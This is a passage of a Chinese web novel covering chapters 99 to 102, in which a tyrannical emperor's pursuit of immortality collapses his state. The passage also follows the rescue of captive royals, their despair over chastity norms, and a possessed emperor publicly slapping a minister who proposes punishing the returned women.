死了一些人又何妨的,到时候再抓一些人充实军队。 论错乱程度,一百个他都比不上那个荣国皇帝,谁是善,谁是恶,简直是一目了然。 这些旁门左道的是不可能真正击败他的。 一时的失败根本就不值得在意,更重要的是提升自己。 第99章 萧国皇帝对自己的未来有信心,但是萧国的大皇子完全不这样想。 他正在收拾着自己的东西,准备跑路。 等他收拾好了,他的妻子捧着一盒子金银珠宝交给他,说道:“我要不要再去换一些钱财?” 大皇子立刻说道:“不用不用,来不及了。” 大皇子觉得自己的父亲疯了,他现在相信那个莫名其妙的小姑娘是先帝,还想要用他的血去炼丹。 那人到底是怎么说服他的? 大皇子手臂上还有一道血红的刀口,是被宫里派来的人用刀割开的。 大皇子只觉得自己的命都要被丢了一半。 父皇在乎他吗? 以前大概是在乎,但是现在可能并不怎么在乎。 只要能够长生,谁还在意自己的儿子怎么样? 皇帝之所以是皇帝,那是因为他是这个天下的主人,他也许是一个父亲,但是更是所有人的主人。 没人有资格在他面前说 萧国皇帝对于他们这些孩子可没有先帝对如今的萧国皇帝那般重视。 先帝只有萧国皇帝一个孩子。 但是先帝的父爱,并没有让萧国皇帝养成爱惜自己孩子的习惯,反而让他走向了另一个极端,那就是完全不在乎自己孩子的安危。 孩子算什么? 只要能够得到长生,没有什么是不能放弃的。 萧国皇帝觉得这样无所谓,但是大皇子只担心自己哪一天会为了会成为萧国皇帝的一枚丹药。 现在只是血,后面说不定就是肉、骨。 现在已经有一个皇子死了,那就是他那个最小的弟弟,身体体弱多病,本身也没长成,在放血的时候直接死掉了。 朝中还是有一些骇然的。 皇帝说他是病死的——也不算错,但是究竟是什么事情大家心里都清楚。 大皇子可没有对抗萧国皇帝的勇气。 萧国皇帝在宫中和民间的威望都十分高,毕竟是他消灭了北荣。 大家对他都有一种盲目的信任,但是大皇子自家人知道自己家事,如果不是因为丞相的话,萧国皇帝就犯了许多匪夷所思的错误。 萧国之所以还能够继续下去,那是因为萧国的丞相数十年如一日的在给萧国皇帝擦屁股。 大皇子总觉得不只是自己,自己的其他兄弟姐妹可能也想跑。 他们并没有任何的交流,但是彼此看看对方的眼神,又加上他们同样的处境,哪怕只有短暂的对视,就能够猜出对方在想什么。 真是要命啊,也不知道为什么这个世界出现的诡异的事情越来越多了…… 好像就是从荣国皇帝那些事情开始的。 大皇子想了很多,最后不想了。 然而还没等萧国大皇子跑出来,他就看到大门被封上了。 门口的侍卫对萧国的大皇子说:“奉陛下之命护殿下安危。” 大皇子的头皮瞬间炸开了。 大概一天之后,大皇子才知道发生了什么事情。 在他和二皇子都在准备跑路的时候,三皇子已经成功地跑掉了,连带着家眷。 三皇子比他们看的还要果决,他也只有一个妻子,他也没带上多少东西,所以跑的十分迅速,毕竟他的那些哥哥在乎金银珠宝,想要在离开之后还能过上好日子的哥哥们要干脆的多。 萧国皇帝震怒,他都要被这群逆子给气死了。 “你们这些不孝子,就没有一个人能为朕分忧。”萧国皇帝人还没到,声音就先到了。 大皇子大着胆子抬起头看了一眼萧国皇帝,他本来是想跟萧国皇帝说:“父皇,你追求这些东西是没用的。” 但是他抬起头来就愣住了,因为萧国的皇帝的白头发已经完全消失了,整个人看上去精神焕发,面色红润,好像真的年轻了许多。 大皇子完全不敢相信自己的眼睛。 难道丹方真的有效吗?. 肯定是没有效果的。 信这种丹方的人不如信谢吾德。 谢吾德好歹可以把人杀了再赐予人青春。 如果不让他杀,直接可以送给人的也只有“看起来”的青春。 谢吾德是被亚夏通知了这里有乐子。 亚夏偶尔去尔雅那边看看的时候,听到尔雅提起这件事情,于是转头就把事情告诉了谢吾德。他觉得谢吾德肯定会喜欢这样的乐子。有乐子的地方就有谢吾德。 谢吾德注意到了这边的动静,也很乐意地配合他,给了谢瑛一点光学伪装的道具,可以让萧国皇帝看起来荣光焕发。这只是一点视觉上的伪装,实际上并没有改变任何本质。 谢吾德觉得自己当初挑中谢瑛实在是太正确了。 他万万没想到谢瑛居然可以给他这样的惊喜。 他原本只是想要看看谢瑛能杀多少人。 早知道把给谢萍的那个缝合怪送给谢瑛就好了,谢瑛一定能够玩出更多的花来。 不过谢萍也会和谢瑛打配合的,他加点功能就行了。 所以实际上萧国皇帝并没有变得年轻。 谢吾德没有能够让人永葆青春的能力,但是如果仅仅是看起来重返青春的话,那还是很简单的。 萧国皇帝觉得自己心情好,胃口好,就连以前不舒服的地方也好了,每天能对着镜子看自己看半天,就差亲上了。 因此,他更加相信谢瑛说的话。 实际上这只不过是他的心理作用,他觉得自己年轻了,也觉得自己年轻之后就不会有这些病痛,所以他还真就感觉不痛了。 人的心理作用是强大的。 萧国皇帝就这么想着,但是大皇子的表情却一点点绝望起来。 他对于亲爹变年轻了这件事情并没有半点喜悦,反而生出了更多的绝望。 这件事情是真的话,父皇更不可能让他们轻易走动,而他们这些试图逃跑的皇子的罪过也就更大了。 自己逃跑不仅不会被人支持,还会被人认定不孝。 他之前还想着那些大臣们会不会出声帮助他们,但是现在皇帝返老还童,那些大臣不求着萧国皇帝给他们赐下丹方才怪。 他完蛋了。 他满脑子只有这四个字。 有多少人想要追求青春永驻呢? 上到皇帝下到百姓,无人不想。 每个人都没有老过,每个人都是第一次老。 年轻人知道自己会老,但是又没法接受变老, 有太多的人渴望得到长生了。 他们很多人都渴望摆脱身体重负,能够腾云驾雾,成为神仙一般的人,所以很多人才因此出家修道。 那些贵族、大臣之所以不这么做,是因为他们觉得权力更美。 但是在能够保证他们的权力不受影响的情况下,同时能够得到长生,那大家绝对不会反对。 萧国皇帝这招在萧国丞相看来是昏招,但是这却是目前为止萧国皇帝拿到的最好用的集权手段。 只要想要得到长生的人,那就必须唯他马首是瞻。 有谁敢不听萧国皇帝的话,那就会被排除在外。 萧国皇帝身边本来就有一些喜欢对着皇帝溜须拍马的人,他们在看到皇帝如此顺利之后,他们就立刻开始打顺风仗了,为皇帝的决策大加赞赏,一分的成就在他们的口中就像是一百分一样。 萧国丞相终于也撑不住了,他选择了告老还乡。 现在朝廷已经容不下他了,在长生的诱惑下,即使是他这样一个德高望重的老丞相再劝阻皇帝也只有死路一条。 一边是性命之忧,一边又是皇帝对他的话不屑一顾。 萧国丞相做出这样的决定,也只不过是认命了。 他尽力了 谢瑛觉得自己并没有做什么,她只是简单地给萧国皇帝献上一个丹方,其他的都是萧国皇帝自己做的。 萧国的情况其实并不怎么好。 这是一个比烂的时代,相比起荣国,萧国的烂又没那么烂。 但是现在荣国在谢吾德的强行镇压和强大的武力震慑下,荣国非常稳定,但是萧国就不行了。 他们现在就像是火盆中的火焰一样,谢瑛倒上去的油,就像是往上面倒了一盆油。 现在整个火盆都燃烧了起来,烧上了房梁,吞噬了柱子,最后把所有人都烧成灰烬。 萧国的恶化在谢瑛看来不过是短短一个月的事情。 就在南边的邱家军还在实验火药的时候,北边传来的消息说萧国彻底乱了。 有一群萧国的年轻人和他们的兄弟直接杀进了皇宫,杀死了萧国皇帝,连带萧国的那些重要贵族和官员都被杀死了,皇帝的近臣几乎被一洗而空。 那些高高在上的老头在上面待得太久了,他们以为 而萧国瞬间大乱。 甚至不是一般的乱。 萧国就像是一只被扭掉了头的苍蝇一样,虽然现在还在扑腾乱飞,但是飞不了多久就要死了。 萧国已经发出了崩裂的声音。 听到这个消息的邱腾看着自己手里的火枪,又看看火枪打出的坑,努力忍住想要把火枪摔在地上的冲动。 谢玖默默地退后了一步。 看呐,邱将军的脸都红了,一定是很兴奋吧? 邱腾在怀疑人生。 他是一个爱兵如子的将领,也是一个疾恶如仇的将领,他一直想要光复国家的故土。 明明萧国实力大损是好事,减少士兵伤亡也是好事,这两件快乐的事情同时发生,为这么他的嘴角感受到了格外沉重的重力牵引。 ……萧国就能不能等他打过去再死? 哪怕给他一点点试枪的机会?让他打一枪? 这显得他真的很小丑! 哥们壮志饥餐胡虏肉,笑谈渴饮匈奴血,饥渴得不得了,手里拿着大枪,正准备爽一番呢,这是要哪样? 第100章 谢瑛和未弊里应外合,在萧国皇宫混乱的时候,直接把荣国的那些宗室都给带了出去。 这并不是很顺利。 萧国现在内斗的厉害,但是萧国人还是不希望放荣国的宗室走,放他们走对任何人都没有好处,不管是用他们来换取荣国的帮助还是在上位之后拿他们继续勒索荣国,这都是白花花的银子。 肉不是肉,血不是血。 萧国人的血肉可以做丹药,而荣国人的血肉可以换金银。 现在说一句萧国人疯了是完全不夸张的。 而就在这时,骑在马上的未弊提着长枪直接杀了个对穿。 未弊也是萧国现在的红人,很多人都认识他,大家虽然都知道未弊身材高大,但是他可是状元,说话做事温文尔雅的,和萧国那些暴脾气完全不同,带着一种荣国读书人的气度。 但是…… 谁家状元武力值这么高。 他们看着未弊,像是在看一个从来没有认识他一样。 他依然是正气凛然的样子,但是他枪尖的血和凌厉的眼神却让人退避三舍。 他的枪尖一甩,把一个人从马上挑了下来。 这哪里是个读书人,这分明是个煞神。 未弊大吼一声:“不想死的都给我滚远一点!” 萧国人渐渐地退开了. 他们成功地脱离了都城,匆忙地南下。 不管之后会不会被抓到,但是肯定会有一大批人能够成功地跑出去。 未弊的脸上多了一点点笑容。 终于结束了。 从北荣被灭的那一刻,整个未家都被一种无形的压力压住了。 他们在路过桥的时候,有人向下看了一眼,忽然从上面跳下去。 未弊被这突如其来的动作搞得懵了。 未弊能文能武,反应迅速,但是这个突如其来的事情还是超出了他的预料。 一路跟着他们撤离的未家人也愣住了。 他们都是意志坚定、堪称果敢坚毅的人,他们为这些宗室和贵族的撤离费尽了心思,考虑了方方面面。 也许有人太过虚弱了,也许还有一些人怀孕了,这些事情他们都考虑到了,都安排了足够的人手关注这些本身就有点虚弱的人。 但是万万没想到出事的居然是那些还算健康的人。 人与人之间的悲欢是不能相通的。 心智坚定的未家人很难理解这些人的想法。 明明已经离开了萧国,为什么现在还要选择死亡呢? 未家人首先怀疑的是自己。 他们是不是哪里做的不好了? 不然没理由啊。 那些宗室贵族经历的他们未家其实也经历过,他们还要顶着这样的压力获得萧国的信任,习文练武,最后有朝一日大仇得报。 他们在干什么啊? 他们都能看出来这群人精神状态不好,但是这种紧急状态下真的没空去安抚他们。 看着那个跳下去的人,其他人的眼神中也多了几分动摇。 其实他们已经疯了,他们很干脆地答应未弊离开萧国皇宫,他们早就忍受不了那里了,但是在离开之后,看着这悠悠苍天,茫茫大地,眼泪也从他们的眼眶中滑落,他们也不想要回到荣国。 回到荣国能干什么? 那个国家虽然是他们的祖国,但是已经没有他们的容身之处了。 早就没人需要他们了,他们也什么都不会干。 朝堂中的好位置也早已被人占据。 他们这些活下来的人会面对的只有其他人的指指点点。 未弊被吓了一大跳,他从来没有设想过这种情况。 他是为了救人来的,而不是看着人死。 如果他能看着荣国的人死,能够不去管那些忠诚,那他现在就是萧国皇帝真正的忠臣了。 “你们这是要干什么?”他拉住了一个准备想要跳的那个人。 也不知道她是公主还是郡主什么的,现在她就是条命。 未弊也不管男女大防了,他的迂腐体现在忠诚上。在看到那人想要跳下去,未弊就抱住了她,把她往后拖:“诶诶诶,你干嘛呢?” “你放开我。我这样活着还有什么用?”女人死命挣扎着,但是她完全比不过一瞪眼就能把萧国士兵都吓退的未弊,“我回去也是死路一条。” 他们现在虽然能体会到自由,只要想到自己遇到的事情就很难不心生绝望,更何况他们的未来并不明媚。 他们的人生巅峰其实是在逃出萧国皇宫的一瞬。 他们这些被俘虏的人——尤其是女人,在回去之后会遇到什么呢?其实大家都知道会发生什么,他们甚至知道自己会遇到的事情不止他们能想象到的那一点。 未家人没做错什么,或者说他们错在他们什么都没做错。 他们是能够意识到未家人的忠诚的,可是正因为如此,他们才更加痛苦。 ……贞洁。 静安公主对与驸马和离的强烈抗拒根源就在此。 即使是公主,不守贞洁也是要被指指点点的。 对人精神时时刻刻地打压往往会让人自愿选择死亡。 未弊的手抽动了一下,虽然他没有松手,但是他脑子里却闪过了自己曾经见过的一幕幕。 萧国没有大规模清理荣国人,所以很多地方还保留了荣国的传统。 而在萧国人征服过那些地方之后,无数惨案发生了。 未弊小的时候,他的祖父和父亲就带他去见过那些地方,虽然本意是让他记住萧国对荣国的破坏,让他不要忘记这片土地上发生过的事情,可是同时未弊也见识到了他许多同僚都没接触过的东西。 未弊对于那些会把自己妾室送人这件事情没什么特别的想法,因为所有人都这么做。 但是他见过因为失去贞洁直接投缳自尽或者被投缳自尽的女人。 那是让任何人都生理不适的画面。 有些人觉得为贞洁而上吊是一件美好的事情。 未弊觉得说这话的人是没见过吊死自己的人是什么样子的。 死前大小便失禁,整张脸会肿起来,干涸的鼻血和口水在人死前流出。 这一点都不美好。 说这些事情美好的多半只是听到了这些事情在脑子里想出了唯美的画面,然后对此大家展示自己美好的艺术想象。 当初未弊在看到那一幕的时候脑子里只闪过一句话:不管怎么说,那都是一条人命。 想到这里,他又坚定了一点自己的想法。 其实想要跳水自杀的不止女人,还有男人,男人也不是没有贞洁的,毕竟广义上的贞洁就是节操的纯正纯洁,他们这些人活到现在,再回去就要被人当成懦夫了。 他们已经适应了在萧国的生活,他们已经不知道该怎么回家吧。 谢瑛在一旁冷冷地说:“你想好了,你要死外面我们可不会辛辛苦苦地把你的尸体搬回去,也不会费劲埋下去。” 谢瑛的话就像是一盆凉水一样浇在了这些人的头上。 ……确实。 华夏的传统观念就是魂归故里。 死在异国他乡是一种不幸。 不管怎么说,回去再说吧。 未弊叹了一口气,他也没有说谢瑛什么,因为他知道谢瑛只是在用一种比较特殊的方法阻止这些人自杀。 他觉得谢瑛有点太冷了,不过想到谢瑛的经历,又觉得这是能够接受的。 未弊叹了一口气,说到:“大家尽快加把劲吧。之前我让人在那边准备了一些马车和马匹。身体不好的人去坐车,会骑马的人就骑马吧,大家都坚持一下。” 未弊说完这句话,转身就上了马,他不看任何人,只觉得自己的心里堵堵的。 刚刚有人死了。 本来他就预料到了在把人救出来的时候会有伤亡,他早就做好了事情不可能十全十美的准备,但是这种死亡有点超出了他的预料。 不是死在刀剑上,而是死在了他们自我崩溃上。 他想过有人会自杀——这不罕见,但是他没想到居然是逃出来之后就立刻自杀。 在萧国皇宫没自杀,离开了萧国皇宫就自杀了。 这算什么? 按照未弊原本的想法,把人救出来就应该算成功了,但是现在他又觉得还是差了一点什么。 心里总有点堵得慌。 他不知道这叫什么,但是他有点难受. 荣国—— 【萧国这就完了呀?】谢吾德叹了一口气,就像是在感叹一个不经玩的玩具一样,【这个国家可真是不争气呀。他们就不能多坚持一会吗?】 温特在谢吾德的脑海里提醒他:【你要小心,朝中有一些人也想要得到长生。】 对于他们这些真正得到了长生的人来说,长生平平无奇。他们已经很难从长生这件事情上感受到多少优点,反而要说缺点的话,他们能够把一件事吐槽整整一天一夜,发牢骚的话更是能跟人唠一辈子。 当然,不管温特怎么说,真正想要获得长生的人是不会听他们所讲述的缺点的,反而会觉得温特说这种话,就像是亿万富翁在那说钱对他毫无意义一样,听着就像是纯粹的炫耀。 谢吾德对此嗤之以鼻:【他们如果想要的话,那就给他们。砍了他们的腿,割了他们的舌头,掏出他们的胃,让他们活上个五百年,看他们还要不要长生。】 其实温特就知道,自己所担心的一切对于谢吾德来说都是扯淡。 这货是真没多少同理心的,他是坚决一步不退的。 【接下来你打算怎么办呢?】 谢吾德想了想回答到:【这事让邱腾自己决定。】 他不打算纠结这件事情。 萧国皇帝都没了,谢吾德感觉再没有值得他出手的家伙了。 而邱腾对此的回复是:不打。 邱腾打算先让萧国自我消耗一番。《 》 100-110 第101章 现在天气寒冷,荣国的军队大多是来自于南方地区,现在北上会有一大片人冻死冻伤,这是邱腾绝对不能接受的。 萧国现在如此混乱是因为他们没有外部压力。 荣国虽然强大,但是萧国在面对荣国的时候有着一种天然的傲慢,他们对荣国人的鄙夷来自于过去几十年的对荣国的压制和最后直接抓住了荣国皇帝。 如果荣国现在动手,那萧国很有可能就会彼此妥协,达成统一,最后重新演化成萧国和南荣之间的冲突。 抛开一切情绪因素,邱腾虽然想要用鲜血和刀剑拿回荣国的土地,让南荣超越北荣,成为一整个大荣,但是他不可能这么做。 这样做虽然能够得到巨大的名利,但是也很容易引发萧国人的情绪,一不小心就会翻车。 就算他不是爱兵如子,仅仅是把士兵当成工具来看,那也要让他们活着。 现在萧国还不够乱,彼此之间的冲突还不够大,先等着他们相互消耗一波。 而在萧国内乱的时候,那些从萧国跑出来的荣国宗室和贵族们已经重新回到了荣国的土地上。 宫中之前一直在讨论关于萧国的事情,可是现在大家的口风都变了,开始想要开始讨论起要怎么处理这些人了。 谢吾德才懒得管这些。 这些人对他来说根本就没有意义。 活着也行,死了也行,反正随他们去。 他们可能觉得谢吾德是他们的亲戚,但是谢吾德自己又不姓谢。 再说就算是姓谢,姓谢也不一定认为自己是一家的。 随便他们怎么折腾人吧,谢吾德懒得管。 他扒拉着手里的东西,寻思看看能不能找到什么有趣的游戏打一会,或者养个赛博盆栽。 实在不行,找几篇黄色小说看看也行,在这种地方看这些东西有一种别样的刺激。 谢吾德翻了半天都没找到自己想看的,最后干脆一头栽倒睡了过去,去找亚夏看看。 既然没好玩的,那就去骚扰自己,看自己被自己烦得炸毛哈气。 他去看亚夏的时候,亚夏正坐在桌子前面,手上点着熏香。 谢吾德一闻到那个味就条件反射地头疼。 他皱着眉看着亚夏:“你又在干啥?” 重点的甚至都不是亚夏点燃了让他们讨厌的熏香,而是这个家伙正在掀起自己的头盖骨。 亚夏抬起头看看他,说道:“我这不是在研究如何对自己的大脑动手,让自己不再讨厌这种气味吗?” 掀开大脑但是让人保持一定的清醒动手术是现代医学都可以做到的事情。 谢吾德皱着眉看着亚夏,连连后退好几步:“你这还是人吗?” 亚夏一听到谢吾德说这种话,他就想翻白眼,他满脸写着不耐烦:“去去去,去一边玩去。我只是做一个小实验而已。” 亚夏是真的觉得自己非常适合小白鼠这个身份。 别的研究者还需要考虑到人与人之间的差异性,亚夏就不用考虑这事了。 “亚夏。”谢吾德非常认真地喊道。 亚夏调整了一下镜子的角度,透过镜子看向了谢吾德。 “做个人吧。” 亚夏听到谢吾德的话之后,用中指推了一下眼镜。 “没跟你开玩笑。”谢吾德探头去看他自己的脑子。 人类的脑子并没有他们想象中的那么大,用两只手捧着总有一种可爱的感觉。 但是这玩意是活着的。 “我都不知道你现在在努力什么?一开始你只是不想在可能的未来受制于人,害怕自己可能哪天被其他人拉到手术台上做小白鼠,结果人类会不会对你动手还是另外一回事,但是你看看你自己,你对自己动的手感觉也不比其他人对你动手好到哪里。”谢吾德抱臂,“你和你最开始的样子差了多少?” 亚夏阴阳怪气的,他回答谢吾德前一句话:“你在说你自己吗?” 谢吾德坑自己可最狠了。 谢吾德耸肩:“我这个态度跟你说话的时候就是认真的。相比起你,我才更记得我原本应该是个什么样的人,我也很清楚我自己现在有多么扭曲。但是你,你现在还有多少你最开始的样子?你自己都没有感觉。” “是你自己这么觉得的。” 谢吾德直接把温特拉进聊天:“温特你怎么看。” 温特轻轻:【……呵。】 他不想参与到这种争吵中。 他才几百岁,不想和亚夏、谢吾德这种意识长达千年的家伙讨论这种事情。 自己和自己之间也有鸿沟。 他自己可是偏执狂。 亚夏又推了一下自己的眼镜。 行吧。 自己和自己聊天最大的好处就是能够非常容易地感受到自己的那种微妙态度。 温特这个态度其实就是同意谢吾德说的话的意思。 亚夏沉默地把自己头盖骨重新合上,一层一层地用法术缝合。 打开脑子之后这种愈合就变得简单了。 谢吾德看不到那个脑子总算舒服多了。 亚夏变态程度有点超出了谢吾德的忍耐范围了。 这货往疯狂科学家的发展方向一去不复返了。 “好了。”亚夏把眼镜丢到一边,他看向谢吾德,“所以你跟我说这些干什么?” “你也多接触一下其他人,学学怎么做人吧。” “怎么做人?总感觉这话在你说来,就像是汉尼拔的那种‘做人’方式一样。”亚夏吐槽。 “汉尼拔看见你也得高喊一声‘咱们是同道中人’。” 温特悄悄找上了谢吾德:【你不是想要拉他代你去上班吧?】 温特对于谢吾德有一些些不信任。 【我是在帮他。相比起我,我觉得他更需要接触一下这些时间。而且如果有我在,不需要从头开始接触,这不是一个很好的主意吗?】谢吾德说得一套一套的。 温特听完,叹了一口气,说道:“也是。你们那边要是有什么能够让他生气的事情就好了。” 亚夏是主动拒绝近乎一切的心绪波动的. 余文彦又发现,最近出现的谢吾德好像不是谢吾德。 那个新出现的“皇帝”非常沉默,一句话都不说,有什么事情都是写纸条丢给他们。 他们的皇帝有好几个状态——这在朝中已经不是什么秘密了。 大家对此都心知肚明,他们甚至已经摸索出了皇帝几个状态的区别了。 谢吾德不用多说,他一直是表现最特殊的那个,几乎是一眼就能认出来。 他的屁话和骚话都很多,整天笑嘻嘻的,与此同时手段也非常凶残,什么道德法度对于他来说根本算不上什么。 只要他动手,那必然是一地血的。 但是皇帝其他的状态则显得心平气和很多。 亚夏就是这样,他是一个什么话都不说的人,但是如果是他帮忙批的奏折的话,那一定是态度比较温和的,甚至有一些优柔寡断特质。 当谢吾德会选择杀人全家的时候,这个状态的皇帝往往会选择打板子,甚至都不是丢掉一整条命的几板,或者说只是单纯的流放,让他去别的地方干点别的事情。 除了罪大恶极的人之外,亚夏并没有剥夺任何一个人的生命。 虽然他的脸上一点表情都没有,就像是完全没有感情一样,但是他的行事作风让人如沐春风。 比起谢吾德来说,他实在是太温柔了甚至有一种纯洁善良的感觉。 把这话和谢吾德搭配在一起,就有一种在说笑的感觉。 大家都不喜欢听皇帝开口。 绝大多数人都觉得领导是傻逼。 只要是不怎么忠诚的人面对皇帝的时,都会觉得皇帝就是这个天下最大的傻逼。 尤其当谢吾德的确喜欢乱来乱搞,而且他只要张张嘴,下面就要跑断腿的时候,那份怨念更是能够养活知道多少个邪剑仙了。 谢吾德的很多决定都是从底层改变,最近很多人都累到猝死了。 亚夏看着坐在他旁边的谢吾德。 谢吾德最近在装太子,他现在正在开开心心地玩手机。 他撅着屁股趴在他腿上,两条腿在打在椅子扶手上一晃一晃的,至于谢吾德的屁股上还蹲着一只白猫。 但凡是谢吾德在的地方气氛就正经不起来。 尤其当亚夏看他的时候,他就更起劲儿——还有什么比别人正在忙,而他在休息这件事情更让人觉得兴奋呢? 性格恶劣的混蛋。 亚夏想到。 更糟糕的是这样的混蛋居然是自己。 年纪大了以后就想不起自己年轻时为啥会是这个性格。 他不知道当皇帝有什么劲。 亚夏也觉得这很无聊。 作为一个独行侠,他讨厌开大会,这困倦程度仅次于物理课。 比物理课好一点是因为物理课需要脑子思考,而这里可以直接走神。 就在亚夏也逐渐开始犯困,脑袋一点一点,他强撑着为自己倒了一杯水清醒一下的时候,他听到有人开口说道:“陛下,那些自萧国归还的女子,虽然是身不由己,但是既然已经失去贞洁,便如白玉蒙尘。这并非对女子的苛责,实为端正人伦、维系纲常之大义。如若让她们一如往昔,恐天下女子便以为贞节可轻。” 那个臣子看着亚夏那冷漠到近乎毫无感情波动的脸,想到亚夏处理政务的风格,他下定了决心,还是把剩下的话说一遍。 “她们虽是皇亲国戚,但是更要为天下垂范,还请陛下明鉴。” 亚夏手里的杯子洒了谢吾德一头的水。 谢吾德一个头槌给杯子顶飞,然后他回想起刚刚发生的事情,他震惊地看着那个人,就像是在看什么傻逼一样。 不是哥们…… 谢吾德直接从亚夏身上起来,坐正了。 他眨巴着眼睛看着亚夏,开始装乖。 亚夏果不其然站了起来,他不看谢吾德,只是缓缓地走下去。 朝堂上的大多数人都忽然感觉到这个画面十分熟悉。 亚夏和谢吾德他们两个的走路姿势、步伐几乎完全相同。 所以亚夏走下台阶的时候,他的身影仿佛和谢吾德的身影完全重合了。 但是他们看着亚夏那张和谢吾德完全不一样的气场,沉默到好像不会说话,神态冷漠到好像是个假人一样的面孔,他们觉得自己也没必要害怕。 亚夏和谢吾德在做事方面完全不一样。 他们害怕谢吾德,是因为谢吾德的性格不稳定、脾气暴躁。 但是亚夏做事十分符合他们对一个“容易掌控”的皇帝的想象——一个善于纳谏、会尊重他人想法、又不喜欢指指点点、尊重专家的人。 这绝对是每一个想要掌握权力的臣子都想要得到的皇帝。 然而就是这样的皇帝,走到他面前,抬起手,停顿了一下。 那个人缩着脖子,但是疼痛迟迟没来,他小心地睁开了眼睛。 果然,皇帝还是不忍心打他。 然后他看见亚夏掏了掏袖子,戴上了手套。 这一套操作让他们想到了某个拿起谢萍脑袋的家伙。 就在不妙的预感攀升的时候,亚夏一巴掌抡在了他的脸上。 亚夏不语,只是一味地扇人耳光。 一秒两巴掌。 在那个人准备往后躲的时候,亚夏薅住他的衣领,固定住目标之后手速提升至两秒五巴掌。 谢吾德嘶了一声。 温特居然还有点乌鸦嘴的天赋啊。 亚夏一直在修身养性,但是什么人格外需要修身养性? 那当然是脾气又臭又怪的家伙了。 第102章 亚夏已经很久不会生气了,但是在听到这种话的时候,还是被了雷点。 他的雷点也很简单:他讨厌别人自顾自地、理直气壮地去决定其他人的命运。 明明同为人类,却不把其他人类的生命放在眼里。 就算亚夏创造世界,他也仅仅是提供一个设定,默默地观察他人,不替其他人决定命运。 没人有资格这么做。 亚夏讨厌谢吾德,就是讨厌谢吾德那种理直气壮的傲慢态度。 但是也并不是亚夏替谢吾德开脱,谢吾德在这件事情上算不上有百分之百的责任,他本身也只是信仰驱动的神明,这是他的底层逻辑,是谢吾德的那些信徒希望谢吾德去做的。 他的想法其实是结果。 但是这个人是怎么回事? 眼前的男人明明是个人类,纯粹的普普通通的人类,却能够如此理直气壮地决定其他人的生死。 这都已经超越了他和谢吾德之间人与神明的争辩,直接上升到了人和畜生的争辩。 亚夏当然知道这个世界会发生什么,这个世界的这些人会说些什么。 虽然并不是他故意设计的剧情,但是很多事情环环相扣。 当他把这个世界设计成古代世界的时候,那就会有这样草菅人命的事情发生。 即使他脑子里清楚,但是这并不妨碍亚夏感到一丝愤怒。 如果只是作为单纯的观察者,他大概只会敲敲键盘把这件事情记录下来,不过是“此事平平无奇,社会学加三”的程度。 亚夏一直努力克制自己让自己做一个道德楷模,不让自己像是谢吾德那样滥用自己的力量,但是他没打算不做人类。 既然温特和谢吾德都觉得他做的太过火不像人类了,也许他该听听他们的意见。 亚夏有点生气,所以他就顺应自己的本心,回想起自己以前的行为习惯,直接把人揍了一顿。 如果像是靖安公主那样,主动选择顺应这个时代思想的人,亚夏觉得他其实是懒得理会的。 有的人就是这样的,他们自己都做出了这样的决定,那亚夏就要看开一点。 他们爱咋咋地。 试图尊重,试图理解,试图祝福。 因为这就是这个时代应有的观点,这是整个世界的悲剧。 可是那是一群人,一群人中肯定有人不这么想。 那就别怪亚夏动手了。 第一巴掌下去,亚夏没有什么情绪波动。 亚夏习惯性克制自己有点搞崩了他的情绪系统了。 反倒是谢吾德笑得像是只大鹅一样,谢吾德在此刻才基本代表了亚夏本来应该有的真实情绪。 如果这些人跟他们说,想要把那些从萧国返回来的女人作为祭品血祭献给他,谢吾德可能会没有什么反应。 对于神来说,此乃天经地义,他想不到哪里有问题的,就算有一点问题,那也是他男的女的都要,他有点强迫症,想要种类平衡。 除非是觉得对方在利用他,所以不稀罕这点祭品。 但是如果和他说,让那些人因为区区的礼教就白白牺牲掉,那在谢吾德作为人类的时候被教育出来的朴素的道德观就会占据上风。 总结成四个字就是“你有病吧”。 ……其实很难说谁更有病。 不过谢吾德觉得对方并不冤枉,想要说动他首先要明白他的偏好。 这最基础的都搞不懂,活该挨这顿打。 谢吾德开始咔嚓咔嚓地吃起薯片,配合着酥脆的薯片的声音,谢吾德来感觉了,他越看越兴奋,恨不得大喊一句“再用点力气,我要看到血流成河”。 亚夏打了一会就累了。 他的爆发力非常强,但是耐力不行。 他把人丢在地上,而那个人的脸已经隐隐开始肿了起来。 亚夏觉得他应该学到了人生中的重要一课。 他把橡胶手套摘下来丢到那个人的身上,又施施然地回去了。 谢吾德小声地对亚夏说:“你这个样子真的很像是提裤子之后,随便把钞票丢在人肚子上的渣男。” 亚夏瞪了他一眼。 搞不明白有着他们年轻思维的谢吾德为什么会说这样的话。 明明作为一个处男却喜欢开这样的玩笑。 都是看男频小说看的。 亚夏完全忘了自己也喜欢讲点黄段子。 ……至少没这么低俗。 整个大殿都鸦雀无声。 亚夏突如其来的发难让所有人都反应不能。 所有人的目光都集中在亚夏身上,亚夏只觉得自己的浑身发烫。亚夏活了那么多年,但是社恐的毛病越来越严重,他情绪很平静,但是这是习惯性的紧张。 社交也是一种不进则退的能力。 一直不和人类接触,又天生不擅长社交,现在难免觉得不对劲。 但是亚夏不说话板着脸,从外表上来看还是很能稳得住的。 谢吾德看着亚夏回来。亚夏还是面无表情的样子。 谢吾德对亚夏这通揍人没有血流成河感到很不满:“这就没了?” 亚夏坐了下来,往谢吾德的反方向一瘫,用桌子上的东西挡住了他自己的脸。 当众打人,力竭了。 亚夏停手了,谢吾德就意犹未尽地喊道:“把他的妻儿从他身边带走!渣男不配有老婆!” “无妻徒刑!” 亚夏做事还是不够劲,所以他来喵两句。 亚夏看看谢吾德兴奋的劲,就差大喊一声“芜湖”了。 这个身体因为年龄因素所以不高,但是谢吾德摁着桌子蹦来蹦去的。 这个人也不是主持公平正义,这东西对他毫无意义,但是他却非常享受别人不高兴的样子。 他真要支持正义还得去问问对方夫人是否同意,谢吾德现在的操作纯属是摁着猫头逼猫喝水。 那个进谏的大臣果不其然露出了慌张的表情,而其他人脸上看着谢吾德的表情都有几分无语。 好了,陛下,知道您现在在装太子了。 虽然不知道谢吾德是怎么做到变成小孩子,也不知道现在占据谢吾德身体的家伙是谁,但是说话的的家伙那语气和态度,他们可实在是太熟了。 这脑子不正常的感觉百分之百就是谢吾德。 他们就算是死了、化成灰了,他们也能够瞬间认出来这就是谢吾德。 之前原本也因为这几天都是亚夏在线而松了口气的家伙都擦了一把冷汗。 这可太吓人了。 虽然发生在谢吾德身上离谱的事情一点也不少,这只能算是谢吾德的常规操作,但是他们这些人放松警惕的结果就是老婆被人强行带走。 太可怕了。 休妻都不是一件小事,如果被强拆的话那更是脸都没了。 没本事的男人才会连老婆都守不住。 